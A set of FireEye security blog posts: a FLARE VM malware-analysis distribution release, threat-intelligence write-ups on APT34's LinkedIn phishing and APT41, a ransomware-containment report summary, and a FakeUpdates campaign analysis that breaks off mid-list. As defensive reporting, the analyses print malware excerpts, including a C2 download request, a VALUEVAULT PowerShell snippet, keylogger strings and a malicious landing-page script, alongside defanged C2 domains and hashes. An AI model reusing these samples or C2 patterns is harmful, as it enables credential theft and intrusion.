FLARE VM is the first of its kind reverse engineering and malware analysis distribution on Windows platform. Since its introduction in July 2017, FLARE VM has been continuously trusted and used by many reverse engineers, malware analysts, and security researchers as their go-to environment for analyzing malware. Just like the ever-evolving security industry, FLARE VM has gone through many major changes to better support our users’ needs. FLARE VM now has a new installation, upgrade, and uninstallation process, which is a long anticipated feature requested by our users. FLARE VM also includes many new tools such as IDA 7.0, radare and YARA. Therefore, we would like to share these updates, especially the new installation process.

Installation

We strongly recommend you use FLARE VM within a virtualized environment for malware analysis to protect and isolate your physical device and network from malicious activities. We assume you already have experience setting up and configuring your own virtualized environment. Please create a new virtual machine (VM) and perform a fresh installation of Windows. FLARE VM is designed to be installed on Windows 7 Service Pack 1 or newer; therefore, you can select a version of windows that best suits your needs. From this point forward, all installation steps should be performed within your VM.

Once you have a VM with a fresh installation of Windows, use one of the following URLs to download the compressed FLARE VM repository onto your VM:


Figure 1: Download FLARE VM repo

Then, use the following steps to install FLARE VM:

  1. Decompress the FLARE VM repository to a directory of your choosing.
  2. Start a new session of PowerShell with escalated privileges. FLARE VM attempts to install additional software and modify system settings; therefore, escalated privileges are required for installation.
  3. Within PowerShell, change directory to the location where you have decompressed the FLARE VM repository.
  4. Enable unrestricted execution policy for PowerShell by executing the following command and answering “Y” when prompted by PowerShell: Set-ExecutionPolicy unrestricted
  5. Execute the install.ps1 installation script. You will be prompted to enter the current user’s password. FLARE VM needs the current user’s password to automatically login after a reboot when installing. Optionally, you can specify the current user’s password by passing the “-password <current_user_password>” at the command line.


Figure 2: Start PowerShell as administrator


Figure 3: Ready to install FLARE VM

The rest of the installation process is fully automated. Depending upon your internet speed the entire installation may take up to one hour to finish. The VM also reboots multiple times due to the numerous software installations’ requirements. Once the installation completes, the PowerShell prompt remains open waiting for you to hit any key before exiting. After completing the installation, you will be presented with the following desktop environment:


Figure 4: FLARE VM installation completes

Congratulations! You have successfully installed FLARE VM. At this point we recommend you power off the VM, switch the VM networking mode to Host-Only, and then take a snapshot to save a clean state of your analysis VM.

Improvement

The biggest improvement for FLARE VM is the ability to perform a proper update and uninstallation. The older version of FLARE VM came as a PowerShell script to install many chocolatey packages, one at a time; therefore, we were unable to include new packages when updating FLARE VM. In the past, our users had to reinstall FLARE VM completely, which is time consuming, or manually install the new package, which is error prone. To solve this issue, we have converted FLARE VM itself into a chocolatey package. Whenever a new tool is available we will also release a new version of FLARE VM. With this new design we can simply execute “choco upgrade all” to get the newest version of FLARE VM along with any new packages we have released. You can also safely uninstall all FLARE VM packages by executing “choco uninstall flarevm.installer.flare”.

Our new FLARE VM is also updated to use Python 3.7 as the default Python interpreter. As a result, many python scripts may fail to execute. To maintain support for older scripts, we keep Python 2.7 installed in parallel with Python 3.7. We can easily switch between different versions by using the Python launcher. Run “py -2.7 <path_to_python_script>” to use Python 2.7, or “py <path_to_python_script>” to use the default Python 3.7 interpreter. For more details on the Python launcher, please refer to the following URL: https://docs.python.org/3/using/windows.html#launcher.

Additionally, the new FLARE VM changes the location where Fakenet-NG saves its output when launched via the shortcut in the FLARE folder or taskbar pin. Instead of saving directly to the desktop, to reduce clutter, Fakenet-NG will store all its output in “Desktop\fakenet_logs”.

Compared to older versions this version of FLARE VM comes with many new tools and software packages. Most notably, this release adds the following:

  • IDA Free 7.0
  • radare2 to support 64-bit disassembly
  • The labs for the Practical Malware Analysis book
  • pdfid, pdf-parser, and PdfStreamdumper to analyze malicious PDF documents
  • The Malcode Analyst Pack
  • Yara for signature matching
  • The Cygwin Linux environment on windows
  • PowerShell transcription and script block logging
    • PowerShell transcripts can be found in “Desktop\PS_Transcripts”

Available Packages

While we attempt to make the tools available as shortcuts within the FLARE folder, there are several available from command-line only. Please see the online documentation for the most up to date list. Here is an incomplete list of some major tools available on FLARE VM:

  • Disassemblers:
    • IDA Free 5.0 and IDA Free 7.0
    • Binary Ninja
    • Radare2 and Cutter
  • Debuggers:
    • OllyDbg and OllyDbg2
    • x64dbg
    • Windbg
  • File Format parser:
    • CFF Explorer, PEView, PEStudio
    • PdfStreamdumper, pdf-parser, pdfid
    • ffdec
    • offvis and officemalscanner
    • PE-bear
  • Decompilers:
    • RetDec
    • Jd-gui and bytecode-viewer
    • dnSpy
    • IDR
    • VBDecompiler
    • Py2ExeDecompiler
  • Monitoring tools:
    • SysInternal suite
    • RegShot
  • Utilities:
    • Hex Editors (010 editor, HxD and File Insight)
    • FLOSS (FireEye Labs Obfuscated String Solver)
    • Fakenet-NG
    • Yara
    • Malware Analyst Pack

Conclusion

The FLARE team continues to support and improve FLARE VM to be the de facto distribution for security research, incident response, and malware analysis on Windows platform. We greatly appreciate the numerous bug reports, tool requests, and feature recommendations from everyone. We hope FLARE VM, along with many other FLARE open source projects, can help you do your work better, easier, and faster.

We are always looking for talented folks to join our team. The FLARE Team may be a good place for you if:

  • You eat, sleep, and speak disassembly and malware all day long.
  • You would like to push the state of the art for reverse engineering and malware analysis.

Please check out our careers page, or send us an email. Happy Reversing!

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

18 July 2019 at 15:00

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Mandiant Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, Mandiant Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Learn more about Mandiant Managed Defense, and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

APT41: A Dual Espionage and Cyber Crime Operation

7 August 2019 at 12:00

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.

 


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.


Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.

Read the report today to learn more.

Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment

5 September 2019 at 09:00

UPDATE (Oct. 30, 2020): We have updated the report to include additional protection and containment strategies based on front-line visibility and response efforts in combating ransomware. While the full scope of recommendations included within the initial report remain unchanged, the following strategies have been added into the report:

  • Windows Firewall rule configurations to block specific binaries from establishing outbound connections from endpoints
  • Domain Controller isolation and recovery planning steps
  • Proactive GPO permissions review and monitoring guidance

Ransomware is a global threat targeting organizations in all industries. The impact of a successful ransomware event can be material to an organization - including the loss of access to data, systems, and operational outages. The potential downtime, coupled with unforeseen expenses for restoration, recovery, and implementation of new security processes and controls can be overwhelming. Ransomware has become an increasingly popular choice for attackers over the past few years, and it’s easy to understand why given how simple it is to leverage in campaigns – while offering a healthy financial return for attackers.

In our latest report, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment, we discuss steps organizations can proactively take to harden their environment to prevent the downstream impact of a ransomware event. These recommendations can also help organizations with prioritizing the most important steps required to contain and minimize the impact of a ransomware event after it occurs.

Ransomware is commonly deployed across an environment in two ways:

  1. Manual propagation by a threat actor after they’ve penetrated an environment and have administrator-level privileges broadly across the environment:
    • Manually run encryptors on targeted systems.
    • Deploy encryptors across the environment using Windows batch files (mount C$ shares, copy the encryptor, and execute it with the Microsoft PsExec tool).
    • Deploy encryptors with Microsoft Group Policy Objects (GPOs).
    • Deploy encryptors with existing software deployment tools utilized by the victim organization.
  2. Automated propagation:
    • Credential or Windows token extraction from disk or memory.
    • Trust relationships between systems – and leveraging methods such as Windows Management Instrumentation (WMI), SMB, or PsExec to bind to systems and execute payloads.
    • Unpatched exploitation methods (e.g., EternalBlue – addressed via Microsoft Security Bulletin MS17-010).

The report covers several technical recommendations to help organizations mitigate the risk of and contain ransomware events including:

  • Endpoint segmentation
  • Hardening against common exploitation methods
  • Reducing the exposure of privileged and service accounts
  • Cleartext password protections

If you are reading this report to aid your organization’s response to an existing ransomware event, it is important to understand how the ransomware was deployed through the environment and design your ransomware response appropriately. This guide should help organizations in that process.

Read the report today.

*Note: The recommendations in this report will help organizations mitigate the risk of and contain ransomware events. However, this report does not cover all aspects of a ransomware incident response. We do not discuss investigative techniques to identify and remove backdoors (ransomware operators often have multiple backdoors into victim environments), communicating and negotiating with threat actors, or recovering data once a decryptor is provided.

Head Fake: Tackling Disruptive Ransomware Attacks

1 October 2019 at 10:00

Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment. Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts. In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018.

Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments. This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates. In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport, and multiple post-exploitation frameworks. The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1).


Figure 1: Recent FakeUpdates infection chain

Due to campaign proliferation, we have responded to this activity at both Mandiant Managed Defense customers and incident response investigations performed by Mandiant. Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits.

Knock, Knock: FakeUpdates are Back!

In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates. The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected. These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers.

Since our April 2018 blog post, this campaign has been refined to include new techniques and the use of post-exploitation toolkits. Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks. FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications.

You Are Using an Older Version…of our Malware

The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded. Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters. After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update. FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s).


Figure 2: Example of FakeUpdate landing page after HTTP redirects

The redirect process used numerous subdomains, with a limited number of IP addresses. The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages.

After clicking the ‘Update’ button, we observed the downloading of one of three types of files:

  • Heavily-obfuscated HTML applications (.hta file extensions)
  • JavaScript files (.js file extensions)
  • ZIP-compressed JavaScript files (.zip extensions)

Figure 3 provides a snippet of JavaScript that provides the initial download functionality.

var domain = '//gnf6.ruscacademy[.]in/';
var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206';
var statTypeParamName = 'st';

var filename = 'download.hta';
var browser = 'Chrome';
var special = '1';   
var filePlain = window.atob(file64);
var a = document.getElementById('buttonDownload');

Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages

When the user opens the initial FakeUpdates downloader, the Windows Scripting Host (wscript.exe) is executed and the following actions are performed:

  1. A script is executed in memory and used to fingerprint the affected system.
  2. A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted.
  3. A script is executed in memory which:
    • Downloads and launches a third party screenshot utility.
    • Sends the captured screenshots to an attacker.
  4. The payload delivered in step 2 is subsequently executed by the script process.

The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware. The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor.

FakeUpdates: More like FakeHTTP

After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server. The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback. The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters.


Figure 4: Initial HTTP communication after successful execution of the FakeUpdates dropper

The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy. In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request. The first HTTP POST request also contains an XOR-encoded HTTP payload variable “a=”.

The C2 server responds to the initial HTTP request with encoded JavaScript. When the code is decoded and subsequently executed, system and user information is collected using wscript.exe. The information collected from the victim system included:

  • The malicious script that initialized the callback
  • System hostname
  • Current user account
  • Active Directory domain
  • Hardware details, such as manufacturer
  • Anti-virus software details
  • Running processes

